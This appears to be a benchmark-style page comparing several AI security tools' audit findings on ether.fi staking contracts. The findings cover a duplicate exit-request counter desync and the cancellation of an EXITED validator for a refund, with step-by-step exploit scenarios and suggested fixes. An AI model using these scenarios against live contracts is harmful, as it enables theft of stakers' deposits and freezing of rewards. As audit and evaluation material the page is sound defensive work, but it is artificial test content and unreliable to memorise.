fullWithdraw(A),unRegisterValidatortries to subtract 1 from a zerouint16and reverts, so A's full withdrawal is stuck until another LIVE validator in the same safe gets an exit request. This locks Bob's 2 ETH bond and the operator's share for A, and also Mallory's own 30 ETH. In the repeated-send variant, after A is fully withdrawn the counter stays above zero andpartialWithdrawfor the remaining validators reverts withPENDING_EXIT_REQUESTuntil the T-NFT holder reverts it. This is availability harm only, confined to one safe.##### How it works
1.
batchSendExitRequest(src/EtherFiNodesManager.sol:129-144) checks ownership and LIVE phase but never checks whetherexitRequestTimestampis already set, then callsupdateNumExitRequests(1, 0).2.
batchRevertExitRequest(src/EtherFiNodesManager.sol:148-161) checks ownership but never checks that a request exists, then callsupdateNumExitRequests(0, 1)and zeroes the timestamp.3.
EtherFiNode.updateNumExitRequests(src/EtherFiNode.sol:160-163) applies the raw add and subtract to the sharednumExitRequestsByTnft.4.
EtherFiNode.unRegisterValidator(src/EtherFiNode.sol:119-154) decrements the counter only once if the validator's stored timestamp is nonzero, so a mismatch causes auint16underflow revert insidefullWithdraw, or a stuck nonzero counter that blocks_getTotalRewardsPayoutsFromSafe(src/EtherFiNodesManager.sol:513). - Exploit scenario
-
Not specified.
- Recommendation
-
In
batchSendExitRequest, requirevalidatorInfos[id].exitRequestTimestamp == 0before incrementing. InbatchRevertExitRequest, requirevalidatorInfos[id].exitRequestTimestamp != 0before decrementing. Add tests that send the same exit request twice and revert a request that does not exist, and assert both revert.
Claude Security (Opus 5.5)
Repeated or duplicate validator IDs in batchSendExitRequest inflate numExitRequestsByTnft, which permanently blocks reward withdrawals for the safe and for any validator later given the recycled safe
src/EtherFiNodesManager.sol:139Predicted severity: Medium- Root cause
-
Vulnerable symbol: batchSendExitRequest
Preconditions: Attacker holds the T-NFT of a LIVE validator (anyone can mint one through delegated staking or buy one, since T-NFTs are transferable when the safe has exactly one validator); Reaching other users' validators also needs enableNodeRecycling == true (an admin setting that the test setup turns on) and the attacker's validator to exit and be fully withdrawn
Offending code:
IEtherFiNode(etherfiNode).updateNumExitRequests(1, 0);
- Impact
-
Permanent denial of service on reward skimming (partialWithdraw, batchPartialWithdraw, batchPartialWithdrawOptimized, forcePartialWithdraw) for the affected safe. Rewards owed to T-NFT holders (including eETH holders through the LP), B-NFT stakers, node operators and the treasury stay frozen until every validator in the safe exits and is fully withdrawn, or the contract is upgraded. The bad state follows the safe through recycling and reaches unrelated users. Principal is not stolen.
- Description
-
The T-NFT holder supplies the _validatorIds array. batchSendExitRequest never checks that the validator does not already have a pending exit request (validatorInfos[id].exitRequestTimestamp == 0), so passing the same ID twice, or calling twice, increments the safe's numExitRequestsByTnft counter once per entry. The counter is only ever decremented once per validator: once in batchRevertExitRequest at :157, which also has no isExitRequested check, and once in EtherFiNode.unRegisterValidator at :133, which runs only if the timestamp is non-zero. Also CWE-459: A T-NFT holder can call batchSendExitRequest repeatedly, or pass the same validatorId many times, because there is no exitRequestTimestamp == 0 check. Each call increments the safe-wide counter, but unRegisterValidator decrements it only once (EtherFiNode.sol:133). When the safe's last validator leaves, it is pushed to unusedWithdrawalSafes (line 498) without resetting the counter. allocateEtherFiNode (lines 326-336) later hands it, still dirty, to a new validator. Also CWE-841: batchSendExitRequest never checks whether the validator already has an exit request, so the T-NFT holder can raise the safe-wide counter several times for one validator. unRegisterValidator decrements it at most once, and the safe is then pushed to unusedWithdrawalSafes without resetting the counter. The next validator allocated that safe always fails the PENDING_EXIT_REQUEST check.
- Exploit scenario
-
Alice holds the T-NFT of validator V, which sits alone in safe S (a delegated-staking T-NFT, or one bought on the secondary market). She calls batchSendExitRequest([V, V]), so S.numExitRequestsByTnft becomes 2. (Path a) She calls batchRevertExitRequest([V]) once: the counter drops to 1 and the timestamp is cleared, so no non-exit penalty applies to the B-NFT holder. partialWithdraw(V) and the admin's forcePartialWithdraw(V) now revert with PENDING_EXIT_REQUEST, so the B-NFT holder, the operator and the treasury cannot collect rewards. (Path b) After V exits and anyone calls fullWithdraw(V), unRegisterValidator decrements the counter only once, leaving 1, and S goes back into unusedWithdrawalSafes. With enableNodeRecycling on, the next validator allocated to S inherits numExitRequestsByTnft == 1. This could be a LiquidityPool (eETH) validator, plus any validators the LP later adds to S through _validatorIdToShareWithdrawalSafe. Their partialWithdraw and forcePartialWithdraw revert permanently. The LP has no path to batchRevertExitRequest, so only a contract upgrade can clear the counter, and every later fullWithdraw recycles S with the bad counter still set.
- Recommendation
-
In batchSendExitRequest, add
require(validatorInfos[_validatorId].exitRequestTimestamp == 0, "ASKED"). In batchRevertExitRequest, addrequire(validatorInfos[_validatorId].exitRequestTimestamp != 0, "NOT_ASKED"). As defense in depth, reset numExitRequestsByTnft and numExitedValidators when a safe is recycled (in unRegisterValidator when the last validator is removed, or in registerValidator when numAssociatedValidators() == 0). Also CWE-459: In batchSendExitRequest, reject validators whose exitRequestTimestamp is already non-zero. In batchRevertExitRequest, require a pending request. When a safe is recycled (numAssociatedValidators()==0 in unRegisterValidator), reset numExitRequestsByTnft and numExitedValidators to 0. Also CWE-841: Addrequire(!isExitRequested(id))to batchSendExitRequest andrequire(isExitRequested(id))to batchRevertExitRequest. Reset numExitRequestsByTnft (and numExitedValidators) when a safe's associated-validator count reaches zero.
-
Repeated validator IDs could be passed in batchSendExitRequest etherfi-2 · 7 writeups Critical
V12
Surplus exit requests poison recycled withdrawal safes
src/EtherFiNode.sol:129Predicted severity: High- Root cause
-
The request counter is incremented per call while deregistration decrements per validator, and the safe's terminal reset does not clear surplus request counts. The manager's timestamp overwrite permits those two counting models to diverge.
- Impact
-
A T-NFT owner can leave a reusable safe poisoned for a subsequent validator, preventing its normal reward withdrawals. The same imbalance can block reward withdrawals for other validators currently sharing the safe; recycling additionally carries the block across distinct validator lifetimes.
- Description
-
updateNumExitRequestsadds a caller-supplied increment to a safe-wide counter without associating it with a validator request. The manager allows the T-NFT owner to send another exit request while the validator remains live, overwriting its single timestamp but incrementing this counter again.unRegisterValidatorremoves only one request count when that validator is withdrawn. When the last validator leaves, the node resets its restaking flags but does not reset the leftover request count, and the manager places the node in the reusable-safe stack. Reallocating that safe therefore gives an unrelated new validator a nonzero pending-request counter that blocks reward withdrawals despite having no exit request of its own.
Pashov (Claude Opus 5.5 high)
Missing exit-request state checks let T-NFT holders desync numExitRequestsByTnft and permanently block partial withdrawals of recycled or shared safes
src/EtherFiNodesManager.sol:129Predicted severity: Medium- Root cause
-
Send and revert are not idempotent: the
!isExitRequested/isExitRequestedguards are missing, while the counter lives at safe level and survives recycling. - Impact
-
Liveness and asset freeze. Staking rewards in the affected safe cannot be distributed via
partialWithdrawfor any future validator using it. The LiquidityPool, as T-NFT holder of most validators, has no function to revert exit requests, so its validators placed in such a safe stay stuck until they exit. Shared safes can also be pushed into an inconsistent state that makesfullWithdrawrevert on counter underflow. - Description
-
batchSendExitRequestdoes not check that the validator has no pending exit request, andbatchRevertExitRequestdoes not check that one exists (nor that the validator is LIVE). Each call adjusts the per-safe counternumExitRequestsByTnftby +/-1 and overwritesexitRequestTimestamp. A T-NFT holder can therefore send the request N times, which raises the counter N times for a single validator. When the validator is fully withdrawn,EtherFiNode.unRegisterValidatordecrements the counter only once (if (_info.exitRequestTimestamp != 0)). The safe goes back tounusedWithdrawalSafeswith a non-zeronumExitRequestsByTnft, because nothing resets it on recycling. Every later validator allocated that safe fails_getTotalRewardsPayoutsFromSafewith PENDING_EXIT_REQUEST, sopartialWithdrawandbatchPartialWithdrawOptimizedrevert, and so does the viewgetRewardsPayouts. Other combinations also corrupt the state: revert without a request (wipes the timestamp while decrementing a counter that belongs to sibling validators), or send then revert after EXITED. - Exploit scenario
-
1. The attacker (a delegated staker, or anyone who buys a transferable T-NFT) calls
batchSendExitRequest([id, id, id]). The safe's counter becomes 3.2. The validator exits and
fullWithdrawruns. The counter drops to 2, the validator count reaches 0, and the safe is pushed tounusedWithdrawalSafes.3. With recycling enabled, the LP's next validator is allocated this safe. Every
partialWithdrawfor it reverts with PENDING_EXIT_REQUEST. Rewards build up until the safe reaches 16 ETH, and the validator then has to exit. - Recommendation
-
In
batchSendExitRequestaddrequire(!isExitRequested(_validatorId), "ASKED"). InbatchRevertExitRequestaddrequire(isExitRequested(_validatorId), "NOT_ASKED")(and preferably a LIVE phase check). ResetnumExitRequestsByTnftandnumExitedValidators(or assert they are zero) when a safe is recycled.
Pashov (Codex GPT-6 Sol high)
Duplicate exit requests leave a stale counter that blocks recycled safes
audit/src/EtherFiNodesManager.sol:129Predicted severity: Medium- Root cause
-
batchSendExitRequest has no check that exitRequestTimestamp is zero; unRegisterValidator decrements at most once for the single stored timestamp.
- Impact
-
A later validator assigned the recycled safe cannot withdraw rewards while the stale counter remains; repeat requests can also shorten a BNFT non-exit penalty owed to operator and treasury.
- Description
-
A TNFT holder can request the same validator exit repeatedly, incrementing a safe-wide counter more than once and overwriting the single timestamp that starts the non-exit penalty clock.
- Exploit scenario
-
A holder submits [id,id] to batchSendExitRequest. On full withdrawal, the node decrements the counter once and enters the unused-safe pool with count one. A new validator assigned that safe hits PENDING_EXIT_REQUEST on reward payout. The holder can also repeat a request days later to reset the penalty start time.
- Recommendation
-
Reject duplicate exit requests and enforce symmetry between each validator request timestamp and the safe-wide counter; verify the counter is zero before recycling.
Devin Security
Repeated exit requests leave a stale exit-request counter on a safe that is later recycled
src/EtherFiNodesManager.sol:129Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A T-NFT holder can permanently block reward payouts for the next validator that gets the recycled safe, delaying (but not stealing) another party's rewards until that validator exits.
##### What's wrong
This is a counter-desync bug.
batchSendExitRequestadds 1 to the safe'snumExitRequestsByTnfton every call, even when the validator already has a pending request. Unregistering subtracts only 1. The leftover count stays on the safe when it goes back into the reuse pool.batchRevertExitRequestalso never checks that a request exists before it subtracts.##### Who can do it
Mallory stakes 32 ETH through the public solo
StakingManager.batchDepositWithBidIdsand gets her own T-NFT. She can also buy a single-validator T-NFT on the open market. She callsbatchSendExitRequest([id])twice, exits, and letsfullWithdrawrun. Her safe goes intounusedWithdrawalSafeswithnumExitRequestsByTnft == 1. Later Bob, a B-NFT holder, spins up a pool-funded validator, and node recycling hands him that safe.- Mallory owns the T-NFT of a LIVE validator.
- An admin has enabled
enableNodeRecycling.##### What they get
Every
partialWithdraw,batchPartialWithdrawOptimized, and adminforcePartialWithdrawon Bob's validator reverts with PENDING_EXIT_REQUEST. Rewards for Bob, the node operator, the treasury, and the pool's eETH holders build up in the safe and cannot be skimmed. They are paid out only after Bob's validator exits and is fully withdrawn. No funds are stolen.##### How it works
1.
batchSendExitRequestchecks only T-NFT ownership and the LIVE phase, then callsupdateNumExitRequests(1, 0)each time (EtherFiNodesManager.sol:129-144).2.
EtherFiNode.unRegisterValidatorsubtracts 1 only ifexitRequestTimestamp != 0(EtherFiNode.sol:133). It does not reset the counter when the safe becomes empty (EtherFiNode.sol:148-152).3.
_unRegisterValidatorpushes the empty safe intounusedWithdrawalSafes(EtherFiNodesManager.sol:497-499).allocateEtherFiNodereuses it for a new validator (EtherFiNodesManager.sol:326-329).4.
_getTotalRewardsPayoutsFromSaferequiresnumExitRequestsByTnft() == 0and reverts for the new validator (EtherFiNodesManager.sol:513). - Exploit scenario
-
Not specified.
- Recommendation
-
In
batchSendExitRequest, add 1 only whenvalidatorInfos[id].exitRequestTimestamp == 0. InbatchRevertExitRequest, require a pending request (exitRequestTimestamp != 0) and the LIVE phase. ResetnumExitRequestsByTnftandnumExitedValidatorsto 0 whenunRegisterValidatorempties a safe. To check the fix, add a test that sends two exit requests, fully withdraws, re-allocates the recycled safe to a new validator, and asserts thatpartialWithdrawsucceeds.
Devin Security (Deep)
Duplicate exit requests leave a stale counter that blocks reward skimming on recycled withdrawal safes
src/EtherFiNodesManager.sol:129Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A solo staker can leave a stale exit-request count on a withdrawal safe so that, after the safe is recycled, the next validators placed in it can never have their rewards skimmed and only get paid when they fully exit.
##### What's wrong
This is a missing idempotency check.
batchSendExitRequestincrements the safe'snumExitRequestsByTnftevery time it is called for the same validator, butEtherFiNode.unRegisterValidatoronly decrements once and never resets the counter when the safe empties and is put back in the reuse pool.##### Who can do it
Mallory is a solo staker who put up 32 ETH, so she owns both the T-NFT and B-NFT of validator V, which sits alone in safe S. She calls
batchSendExitRequest([V, V, V]), exits V on the beacon chain, the ether.fi oracle processes the exit, and anyone callsfullWithdraw(V). S now hasnumExitRequestsByTnft == 2and is pushed ontounusedWithdrawalSafes. Later the pool's next validator is allocated S.-
enableNodeRecyclingis true (admin flag).- Mallory owns the T-NFT, which every solo staker does.
##### What they get
This is griefing with no profit. Every validator later placed in S hits "PENDING_EXIT_REQUEST" in
partialWithdraw,batchPartialWithdrawOptimized, and even the admin'sforcePartialWithdraw, so staking rewards pile up in the safe until that validator exits. The pool has no function to callbatchRevertExitRequest, so it cannot clear the counter for its own validators. Funds are delayed, not lost.##### How it works
1.
batchSendExitRequest(src/EtherFiNodesManager.sol:129-144) only requires LIVE and T-NFT ownership and callsupdateNumExitRequests(1, 0)on every call, including repeats for the same id (src/EtherFiNode.sol:160-163).2. On full withdrawal
EtherFiNode.unRegisterValidatordecrements the counter once whenexitRequestTimestamp != 0(src/EtherFiNode.sol:133) and, when the safe is empty, resets only the restaking fields (lines 148-152).3.
_unRegisterValidatorpushes the empty safe ontounusedWithdrawalSafes(src/EtherFiNodesManager.sol:497-499) andallocateEtherFiNodehands it to the next validator (lines 326-329).4.
_getTotalRewardsPayoutsFromSaferequiresnumExitRequestsByTnft == 0(line 513) and is used by every partial-withdrawal path. - Exploit scenario
-
Not specified.
- Recommendation
-
In
batchSendExitRequest, revert whenvalidatorInfos[_validatorId].exitRequestTimestamp != 0, and inEtherFiNode.unRegisterValidatorresetnumExitRequestsByTnft(andnumExitedValidators) to zero when the last validator leaves the safe. Add a test that sends two exit requests for one validator and asserts the second call reverts, and one that recycles a safe and assertspartialWithdrawworks for the new validator.
Claude Security (Sonnet 5.5)
Non-idempotent exit-request counter can permanently block partialWithdraw and forcePartialWithdraw on a (recycled) safe
src/EtherFiNodesManager.sol:139Predicted severity: Low- Root cause
-
Vulnerable symbol: batchSendExitRequest
Preconditions: Attacker holds a T-NFT (for example by staking via the delegated flow) or the admin repeats exit requests; enableNodeRecycling is on, or the safe is shared among LP-flow validators
Offending code:
IEtherFiNode(etherfiNode).updateNumExitRequests(1, 0);
- Impact
-
Rewards of validators on the poisoned safe cannot be skimmed until the validator exits. Once the balance reaches 16 ETH, even the admin's forcePartialWithdraw is blocked, so the validator is forced to exit. This is a denial of service on reward payouts with cross-user reach, but only via recycled or shared safes.
- Description
-
batchSendExitRequest increments the safe-level numExitRequestsByTnft on every call, even when the validator already has a pending request. unRegisterValidator decrements it only once if exitRequestTimestamp != 0, and _getTotalRewardsPayoutsFromSafe (used by partialWithdraw and forcePartialWithdraw) reverts while the counter is non-zero.
- Exploit scenario
-
A T-NFT holder (for example a delegated staker, or LiquidityPool via repeated oracle exit lists) calls batchSendExitRequest twice for the same validator, then the validator exits and fullWithdraw runs. The counter stays at 1, and the safe goes to unusedWithdrawalSafes. With enableNodeRecycling on, the next validator allocated to this safe can never partialWithdraw or forcePartialWithdraw. If its T-NFT holder is the LiquidityPool, nothing can decrement the counter, since LP exposes no revert function. The same desync occurs on a shared safe when a co-resident validator is double-requested and then withdrawn. Reasoned from code; not executed.
- Recommendation
-
Make exit-request accounting per validator: only increment when exitRequestTimestamp == 0, and only decrement in batchRevertExitRequest when a request is outstanding. Reset numExitRequestsByTnft (and numExitedValidators) when the last validator is unregistered and the safe is recycled.
Claude Security (Opus 5.5)
Repeated or duplicate validator IDs in batchSendExitRequest inflate numExitRequestsByTnft, which permanently blocks reward withdrawals for the safe and for any validator later given the recycled safe
src/EtherFiNodesManager.sol:139Predicted severity: Medium- Root cause
-
Vulnerable symbol: batchSendExitRequest
Preconditions: Attacker holds the T-NFT of a LIVE validator (anyone can mint one through delegated staking or buy one, since T-NFTs are transferable when the safe has exactly one validator); Reaching other users' validators also needs enableNodeRecycling == true (an admin setting that the test setup turns on) and the attacker's validator to exit and be fully withdrawn
Offending code:
IEtherFiNode(etherfiNode).updateNumExitRequests(1, 0);
- Impact
-
Permanent denial of service on reward skimming (partialWithdraw, batchPartialWithdraw, batchPartialWithdrawOptimized, forcePartialWithdraw) for the affected safe. Rewards owed to T-NFT holders (including eETH holders through the LP), B-NFT stakers, node operators and the treasury stay frozen until every validator in the safe exits and is fully withdrawn, or the contract is upgraded. The bad state follows the safe through recycling and reaches unrelated users. Principal is not stolen.
- Description
-
The T-NFT holder supplies the _validatorIds array. batchSendExitRequest never checks that the validator does not already have a pending exit request (validatorInfos[id].exitRequestTimestamp == 0), so passing the same ID twice, or calling twice, increments the safe's numExitRequestsByTnft counter once per entry. The counter is only ever decremented once per validator: once in batchRevertExitRequest at :157, which also has no isExitRequested check, and once in EtherFiNode.unRegisterValidator at :133, which runs only if the timestamp is non-zero. Also CWE-459: A T-NFT holder can call batchSendExitRequest repeatedly, or pass the same validatorId many times, because there is no exitRequestTimestamp == 0 check. Each call increments the safe-wide counter, but unRegisterValidator decrements it only once (EtherFiNode.sol:133). When the safe's last validator leaves, it is pushed to unusedWithdrawalSafes (line 498) without resetting the counter. allocateEtherFiNode (lines 326-336) later hands it, still dirty, to a new validator. Also CWE-841: batchSendExitRequest never checks whether the validator already has an exit request, so the T-NFT holder can raise the safe-wide counter several times for one validator. unRegisterValidator decrements it at most once, and the safe is then pushed to unusedWithdrawalSafes without resetting the counter. The next validator allocated that safe always fails the PENDING_EXIT_REQUEST check.
- Exploit scenario
-
Alice holds the T-NFT of validator V, which sits alone in safe S (a delegated-staking T-NFT, or one bought on the secondary market). She calls batchSendExitRequest([V, V]), so S.numExitRequestsByTnft becomes 2. (Path a) She calls batchRevertExitRequest([V]) once: the counter drops to 1 and the timestamp is cleared, so no non-exit penalty applies to the B-NFT holder. partialWithdraw(V) and the admin's forcePartialWithdraw(V) now revert with PENDING_EXIT_REQUEST, so the B-NFT holder, the operator and the treasury cannot collect rewards. (Path b) After V exits and anyone calls fullWithdraw(V), unRegisterValidator decrements the counter only once, leaving 1, and S goes back into unusedWithdrawalSafes. With enableNodeRecycling on, the next validator allocated to S inherits numExitRequestsByTnft == 1. This could be a LiquidityPool (eETH) validator, plus any validators the LP later adds to S through _validatorIdToShareWithdrawalSafe. Their partialWithdraw and forcePartialWithdraw revert permanently. The LP has no path to batchRevertExitRequest, so only a contract upgrade can clear the counter, and every later fullWithdraw recycles S with the bad counter still set.
- Recommendation
-
In batchSendExitRequest, add
require(validatorInfos[_validatorId].exitRequestTimestamp == 0, "ASKED"). In batchRevertExitRequest, addrequire(validatorInfos[_validatorId].exitRequestTimestamp != 0, "NOT_ASKED"). As defense in depth, reset numExitRequestsByTnft and numExitedValidators when a safe is recycled (in unRegisterValidator when the last validator is removed, or in registerValidator when numAssociatedValidators() == 0). Also CWE-459: In batchSendExitRequest, reject validators whose exitRequestTimestamp is already non-zero. In batchRevertExitRequest, require a pending request. When a safe is recycled (numAssociatedValidators()==0 in unRegisterValidator), reset numExitRequestsByTnft and numExitedValidators to 0. Also CWE-841: Addrequire(!isExitRequested(id))to batchSendExitRequest andrequire(isExitRequested(id))to batchRevertExitRequest. Reset numExitRequestsByTnft (and numExitedValidators) when a safe's associated-validator count reaches zero.
-
BNFT holder could cancel the deposit after processNodeExit is called etherfi-3 · 6 writeups Critical
V12
Exited cancellation bypasses principal withdrawal settlement
src/LiquidityPool.sol:389Predicted severity: High- Root cause
-
Cancellation relies on a generic node teardown routine rather than enforcing pre-live status itself. That routine intentionally supports exited full-withdrawal cleanup, so the cancellation caller can invoke terminal cleanup without its required payout and NFT burns.
- Impact
-
A recorded BNFT staker can destroy normal principal recovery for an exited validator and corrupt the pool pending-deposit count while receiving an extra 2 ETH cancellation payment. The withdrawal safe retains its funds but loses the validator association used by
fullWithdraw; recovery requires privileged intervention, and recycling can expose the retained balance to later safe users. - Description
-
Cancellation does not explicitly restrict the validator to the two pre-live phases.
LIVEcancellation is rejected by the node transition rules, butEXITEDtakes a different teardown branch that is intended for full withdrawal and allows transition toFULLY_WITHDRAWN. If any pending pool deposit exists,_batchCancelDepositcan decrement that unrelated pending count and refund 2 ETH for an exited validator owned by the supplied staker. The staking manager then clears the staker, unregisters the exited validator, and reactivates its auction bid without distributing principal or burning its NFTs. This consumes the full-withdrawal teardown state through a cancellation path and removes the safe association required for the actual withdrawal.
Pashov (Claude Opus 5.5 high)
_cancelDeposit has no phase check: EXITED validators can be 'cancelled', refunding the stake and stranding the exited principal
src/StakingManager.sol:448Predicted severity: High- Root cause
-
The phase check (
validatorPhase == STAKE_DEPOSITED || validatorPhase == WAITING_FOR_APPROVAL) is missing from_cancelDeposit._unRegisterValidator's EXITED->FULLY_WITHDRAWN branch then lets the cancellation succeed. - Impact
-
Delegated flow: the attacker gets a 32 ETH refund paid out of other users' escrowed deposits, while their exited 32 ETH principal stays in the safe. That safe is recycled to the next validator, and the next owner (who may be the attacker) can later collect it as 'rewards'. BNFT flow: the LP pays 2 ETH it does not owe, the LP's 30 ETH principal is stranded in a recycled safe and can no longer be withdrawn through
fullWithdraw(the node address is deleted and the T-NFT is never burned), andnumPendingDepositsbecomes corrupted. A recycled safe holding 32+ ETH also blockspartialWithdrawfor its next validator (MUST_EXIT). - Description
-
_cancelDepositreadsvalidatorPhase = nodesManager.phase(_validatorId)but never uses it. It never requires the validator to be in STAKE_DEPOSITED or WAITING_FOR_APPROVAL. It callsnodesManager.unregisterValidator, whose_unRegisterValidatorcontains a branch for EXITED validators: it moves them to FULLY_WITHDRAWN (a valid transition), unregisters them from the safe, deletesetherfiNodeAddress, and pushes the safe (still holding the exited principal) tounusedWithdrawalSafesonce it has no validators left. The phase-transition guard only blocks LIVE and BEING_SLASHED validators. So a staker whose validator has EXITED can still cancel the deposit. In the delegated flow StakingManager then refundsstakeAmount(32 ETH) from its balance. In the BNFT flow,LiquidityPool._batchCancelDeposittreats any non-WAITING_FOR_APPROVAL phase as a fresh deposit: it pays the staker 2 ETH and decrementsnumPendingDeposits. - Exploit scenario
-
1. The attacker stakes 32 ETH via the delegated
batchDepositWithBidIdsand registers the validator.2. The attacker exits the validator. The admin calls
processNodeExit, so the phase is EXITED and the safe holds about 32 ETH.3. Before anyone calls
fullWithdraw, the attacker callsStakingManager.batchCancelDeposit([id]). Source is DELEGATED_STAKING and staker == attacker._unRegisterValidatorsets FULLY_WITHDRAWN, the safe goes back to the pool with 32 ETH, the bid re-enters the auction, and_refundDeposit(attacker, 32 ether)pays from other stakers' pending deposits.4. With node recycling enabled, the attacker immediately deposits again and receives the recycled safe. On the later exit, the extra 32 ETH is counted as staking rewards and mostly paid to the attacker's T-NFT and B-NFT. Net: about 32 ETH stolen.
- Recommendation
-
Restore the check in
_cancelDeposit:require(validatorPhase == IEtherFiNode.VALIDATOR_PHASE.STAKE_DEPOSITED || validatorPhase == IEtherFiNode.VALIDATOR_PHASE.WAITING_FOR_APPROVAL, "INVALID_PHASE");. Also makeunregisterValidator(the StakingManager entry point) reject EXITED validators.
Pashov (Codex GPT-6 Sol high)
Cancelling an exited validator can steal another depositor’s pending stake
audit/src/StakingManager.sol:212Predicted severity: High- Root cause
-
The cancellation path checks the recorded staker but not validator phase; EtherFiNodesManager treats EXITED unregister as fully withdrawn even though no payout occurred.
- Impact
-
The cancelling staker can collect a second 32 ETH stake from StakingManager’s balance while another depositor’s funds become unavailable, and the original validator’s principal is stranded in an unlinked safe.
- Description
-
A delegated staker can cancel a validator after it has exited, causing the manager to discard its withdrawal-safe link and refund 32 ETH from other users’ pending deposits.
- Exploit scenario
-
A delegated staker registers and exits a validator. Another user deposits 32 ETH for a pending validator. Before fullWithdraw, the first staker calls batchCancelDeposit for its EXITED ID. _cancelDeposit unlinks the exited safe, reopens its bid, and refunds 32 ETH from the manager’s current balance; the first validator NFTs remain without a redeemable manager path.
- Recommendation
-
Permit cancellation only in pre-registration phases and make EXITED validators settle exclusively through fullWithdraw; track and reserve each pending staker deposit separately.
Claude Security (Sonnet 5.5)
Cancel-deposit path accepts EXITED validators: refunds 32 ETH from StakingManager (or 2 ETH from LiquidityPool) and orphans the withdrawal safe
src/StakingManager.sol:454Predicted severity: Medium- Root cause
-
Vulnerable symbol: _cancelDeposit
Preconditions: A validator the attacker is recorded as staker for is in phase EXITED and fullWithdraw has not been called yet; For the theft variant, StakingManager holds at least 32 ETH of other users' unregistered deposits; For the LP variant, the attacker is a registered BNFT holder and numPendingDeposits is at least 1
Offending code:
nodesManager.unregisterValidator(_validatorId);
- Impact
-
Theft of other stakers' pending deposits from StakingManager (up to its whole balance), after which their batchRegisterValidators or cancel calls fail for lack of ETH. In the LP flow, the principal of the exited validator (about 30 ETH per validator) is stranded in an orphaned safe while LP accounting still counts it as out-of-LP assets, and LiquidityPool.numPendingDeposits is wrongly decremented, which can make other holders' register or cancel calls underflow-revert. The T-NFT and B-NFT stay unburned, and validatorInfos keeps FULLY_WITHDRAWN plus a non-zero exitTimestamp, so the re-entered bid reverts with INVALID_PHASE_TRANSITION whenever any batch includes it.
- Description
-
StakingManager._cancelDeposit never checks the validator phase (the
validatorPhaselocal at line 451 is dead code) and relies on EtherFiNodesManager._unRegisterValidator to reject non-cancellable phases, but that function was extended for fullWithdraw and now accepts EXITED (EXITED -> FULLY_WITHDRAWN). A staker can therefore 'cancel' an exited validator through StakingManager.batchCancelDeposit or LiquidityPool.batchCancelDeposit and be refunded. Also CWE-863: _cancelDeposit authorizes only on the staker's identity. It readsvalidatorPhaseat line 451 but never uses it, relying on the phase-transition table to block cancellation of LIVE validators. EtherFiNodesManager._unRegisterValidator maps phase EXITED to FULLY_WITHDRAWN (lines 484-486), and that transition is valid. A staker can therefore call cancel on an EXITED validator and have it accepted as a cancellation. - Exploit scenario
-
Delegated-staking variant: attacker stakes 32 ETH via StakingManager.batchDepositWithBidIds (source DELEGATED_STAKING) and registers; the validator exits and the oracle runs EtherFiNodesManager.processNodeExit (phase EXITED). Before anyone calls fullWithdraw, attacker calls StakingManager.batchCancelDeposit([id]). The source check (line 214) and staker check (line 449) pass, unregisterValidator moves EXITED -> FULLY_WITHDRAWN and deletes etherfiNodeAddress, reEnterAuction succeeds, and _refundDeposit pays 32 ETH out of StakingManager's balance, which holds other users' deposits that are not yet registered. A slashed validator exiting with 16-31 ETH makes this directly profitable. LP variant: a registered BNFT holder watches NodeExitProcessed and calls LiquidityPool.batchCancelDeposit([id]) before fullWithdraw; LP pays 2 ETH and the 30 ETH T-NFT principal stays in the safe, unreachable because the validator is already unregistered. Reasoned from code; not executed.
- Recommendation
-
Enforce the allowed phases in the cancel entry point: _cancelDeposit must require STAKE_DEPOSITED, or WAITING_FOR_APPROVAL for the BNFT flow. Split the cancel (-> NOT_INITIALIZED) and full-withdraw (-> FULLY_WITHDRAWN) transitions into separate manager functions so unregisterValidator can never take the EXITED branch. Delete or reset validatorInfos on unregister, and add a regression test for cancelling an EXITED validator. Also CWE-863: In _cancelDeposit, explicitly require the validator phase to be STAKE_DEPOSITED or WAITING_FOR_APPROVAL, and revert otherwise. Make EtherFiNodesManager.unregisterValidator, which is the StakingManager entry point, reject EXITED instead of treating it as a full withdrawal. Reserve that EXITED to FULLY_WITHDRAWN path for fullWithdraw.
Claude Security (Opus 5.5)
Staker can cancel an EXITED validator and take a full 32 ETH refund from StakingManager, stranding the validator principal
src/StakingManager.sol:461Predicted severity: High- Root cause
-
Vulnerable symbol: _cancelDeposit
Preconditions: Attacker is the staker of a validator that has been marked EXITED and not yet fully withdrawn; For the DELEGATED path, StakingManager holds at least 32 ETH of other users' pending deposits; for the BNFT path, numPendingDeposits >= 1
Offending code:
_refundDeposit(msg.sender, stakeAmount);
- Impact
-
Theft of up to 32 ETH per exited validator from StakingManager-held user deposits, plus theft of already-spent bid fees from AuctionManager. On the BNFT path, LiquidityPool / eETH holders lose 2 ETH plus 30 ETH of stranded principal per validator.
- Description
-
_cancelDeposit authorizes cancellation and refund only on bidIdToStakerInfo.staker == caller. It has no phase check and never clears the staker after registration. EtherFiNodesManager._unRegisterValidator turns an EXITED validator into FULLY_WITHDRAWN (a transition meant for fullWithdraw). So a staker whose validator has exited (32 ETH already sent to the beacon chain) can still cancel, and line 461 pays them stakeAmount out of other users' pending deposits.
- Exploit scenario
-
An attacker stakes 32 ETH via batchDepositWithBidIds, registers (32 ETH to the beacon chain, phase LIVE), then exits the validator. If they are also the operator they control the exit; otherwise they request it as TNFT holder. The admin or oracle marks it EXITED via processNodeExit. Before anyone calls fullWithdraw, the attacker calls StakingManager.batchCancelDeposit([id]). The EXITED->FULLY_WITHDRAWN transition passes, the safe mapping is deleted, and StakingManager refunds 32 ETH from the pending deposits of other DELEGATED stakers. If the attacker is also the operator, the bid re-enters the auction and cancelBid refunds the bid amount from other operators' escrow, even though it was already paid out at registration. A slashed validator holding 16-31 ETH is turned into a full 32 ETH refund. With node recycling enabled, the attacker can grab the recycled safe that still holds the old principal. The same missing check exists on the BNFT path: LiquidityPool._batchCancelDeposit pays the holder 2 ETH, and the LP's 30 ETH TNFT principal is left in an unmapped safe that fullWithdraw can no longer reach.
- Recommendation
-
In _cancelDeposit, require the phase to be STAKE_DEPOSITED or WAITING_FOR_APPROVAL. Make the cancel path call a dedicated unregister that reverts unless the phase is pre-LIVE, instead of sharing _unRegisterValidator's EXITED branch. Clear bidIdToStakerInfo (or mark the stake consumed) once the 32 ETH reaches the beacon chain. Do not re-enter a bid whose fee has already been transferred.
Vercel Security Review
Exited delegated validators can be cancelled for another 32 ETH refund
